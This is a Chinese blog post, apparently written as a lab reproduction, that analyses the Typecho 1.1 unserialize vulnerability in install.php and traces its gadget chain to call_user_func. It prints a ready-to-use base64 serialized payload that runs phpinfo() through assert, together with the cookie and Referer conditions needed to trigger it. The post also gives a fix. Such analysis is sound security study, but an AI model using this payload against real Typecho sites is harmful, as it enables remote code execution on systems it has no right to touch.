Typecho反序列化漏洞分析和复原

一、漏洞原理介绍

序列化是将应用程序对象状态转换为二进制数据或文本数据的过程,而反序列化则是其逆向过程,即从二进制数据或文本数据创建对象状态。

在PHP中,存在一些魔术方法,例如__construst(),__destruct(),__toString(),__get()等,即进行某些操作时,这些函数会自动触发,漏洞的根源在于unserialize()函数参数是可控的,反序列化对象中存在魔术方法,并且魔术方法中的某些变量可以被我们控制的,漏洞产生了,可以执行多种攻击。

二、漏洞代码分析

版本:typecho-1.1-15.5.12-beta

在install.php中找到unserialize()方法:
图片1.png图片1.png

在上述代码中,通过得到get方法得到参数__typecho_config的值,再进行base64解码后进行反序列化,并且赋值给$config,在232行中,生成Typecho_Db对象,并将$config[‘adapter’]和$config[‘prefix’]作为参数,
找到Cookie.php中Typecho Cookie类中找到get方法
图片2.png

该代码设置base64编码的key的值,并将key作为__typecho_config 的 cookie 内容。

再来看Install.php中的这段代码
图片3.png

找到了漏洞触发的前提条件:
1.finish参数设置
2.Refer来源是否为本站

根据生成Typecho_Db对象,找到Db.php下的Type Db类

图片1.png

该函数为构造函数,即生成该类的实例时会触发的函数,分析源码,$adapterName 作为参数被传进来以后,与字符串’Typecho_Db_Adapter_’ 拼接后赋值给变量$adapterName,在PHP中字符串拼接会触发魔术方法__toString(),找到__toString()

图片4.png

$item为$this->_items这个数组的元素。
发现调用了$item[‘author’]->screenName,如果对象$item[‘author’]中没有成员变量screenName,就会返回__get(‘screenName’),寻找__get()类

在Request.php 中找到

图片5.png

函数内部调用了get(),再往下找:

图片6.png

这里把$this->_params[$key]传给_applyFilter(),找_applyFilter()

图片7.png

发现了call_user_func函数,第一个参数作为被调用的回调函数,其余参数是回调函数的参数。找到filter参数

图片8.png

$filter 可控,$value的参数也可控,来自_applyFilter() 的参数 $value,_appleyFilter() 参数来自get()方法的$key。

漏洞分析:
1.install.php中的unserialize函数为漏洞发起点,反序列化后生成Typecho_DB实例对象

2.Db.php中找到Typecho_DB类后,发现$adapterName = 'Typecho_DbAdapter' . $adapterName;触发了__toString()方法。

3.feed.php中找到__toString()方法,在其中调用了$item['author']->screenName,调用__get()方法。

4.Request.php中找到__get()方法,其实__get()方法调用了get()方法,get()方法调用_applyFilter()方法,_applyFilter()方法中调用了call_user_func()

三、实验演示

实验环境:自己搭建(phpstudy+mysql)

根据如上漏洞代码,使用如下exp:
图片9.png

运行此代码得到base64编码:
YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=
将此参数作为__typecho_config的值,并且设置refer来源

执行后返回
图片10.png

图片1.png

四、代码修复

安装完成后 删除 install.php 及 install 目录

五、总结

在使用unserialize()函数时的参数验证特别重要,避免用户对于unserialize()参数是可控的,可以考虑使用json_decode方法来进行传参。保证输入的参数的合法性。要对程序中的各种边界条件进行测试。

发表评论

电子邮件地址不会被公开。 必填项已用*标注

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据